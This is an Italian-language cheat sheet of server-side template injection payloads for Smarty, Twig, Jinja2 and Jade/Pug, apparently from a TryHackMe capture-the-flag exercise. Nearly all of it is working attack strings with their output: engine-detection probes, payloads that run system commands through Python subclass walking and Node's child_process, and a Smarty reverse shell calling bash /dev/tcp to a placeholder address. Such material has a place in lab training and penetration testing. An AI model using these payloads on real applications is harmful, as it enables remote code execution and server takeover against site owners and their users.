tags: SSTI_Payloads_per_Motore SSTI SSTI_Payloads

Smarty (PHP)
Rilevare il tipo di Template
#Payload
{'Hello'|upper}
#Output
HELLOEseguire Comandi di Sistema
#Payload
'{system("ls")}'
#Output
flag.txt index.php smarty-3.1.30 smarty-3.1.30
#Reverse Shell
{system("bash -c 'bash -i >& /dev/tcp/TUO_IP/TUA_PORTA 0>&1'")}Twig (PHP)
#Payload
{{7*'7'}}
#Output
49Jinja2 (Python)
Rilevare il tipo di Template
#Payload
{{7*'7'}}
#Output
7777777Eseguire Comandi di Sistema
Per eseguire comandi di sitema in Jinja2 dobbiamo prima trovare la posizione della classe subprocess.CompletedProcess all’interno della sua memoria, per farlo possiamo prima lanciare il seguente payload che ci listerà tutte le classi:
{{ ''.__class__.__mro__[1].__subclasses__() }}Ora dobbiamo estrarre il numero di posizione di questa classe e lo possiamo fare immettendo l’output precedente in un file .txt e poi eseguire il seguente comando:
cat python.txt | sed 's/^\[//' | sed 's/\]$//' | tr "," "\n" | sed 's/^ *//' | sed 's/ *$//' | grep -n "subprocess"
157:<class 'subprocess.CompletedProcess'>
158:<class 'subprocess.Popen'>Ora la sua posizione (157 in questo caso) la dovremo andare ad inserire nel seguente payload altrimenti non avrà nessun effetto:
#Payload per eseguire comandi di sistema singoli
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
#Output
flag.txt app.js jade.js node
#Payload per eseguire comandi di sistema con più di un argomento
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['cat', 'flag.txt'])}}
#Output
THM{1f8c3b32ad3217e84c145398bae00876}Nota
L'output di questi comandi inizierà sempre con b'Jade/Pug (NodeJS)
A differenza di Twig e Jinja Jade/Pug ti permette di eseguire direttamente codice javascript.
Rilevare il tipo di Template
//Payload
#{7*7}
//Output
49
Eseguire Comandi di Sistema
//payload per vedere informazioni sull'utente
#{root.process.mainModule.require('child_process').spawnSync('id').stdout}
//Output
uid=0(root) gid=0(root) groups=0(root)
//Payload per eseguire comandi di sistema singoli
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
//output
flag.txt app.js jade.js node
//Payload per eseguire comandi di sistema con più di un argomento
#{root.process.mainModule.require('child_process').spawnSync('cat', ['flag.txt']).stdout}
//Output
THM{1f8c3b32ad3217e84c145398bae00876}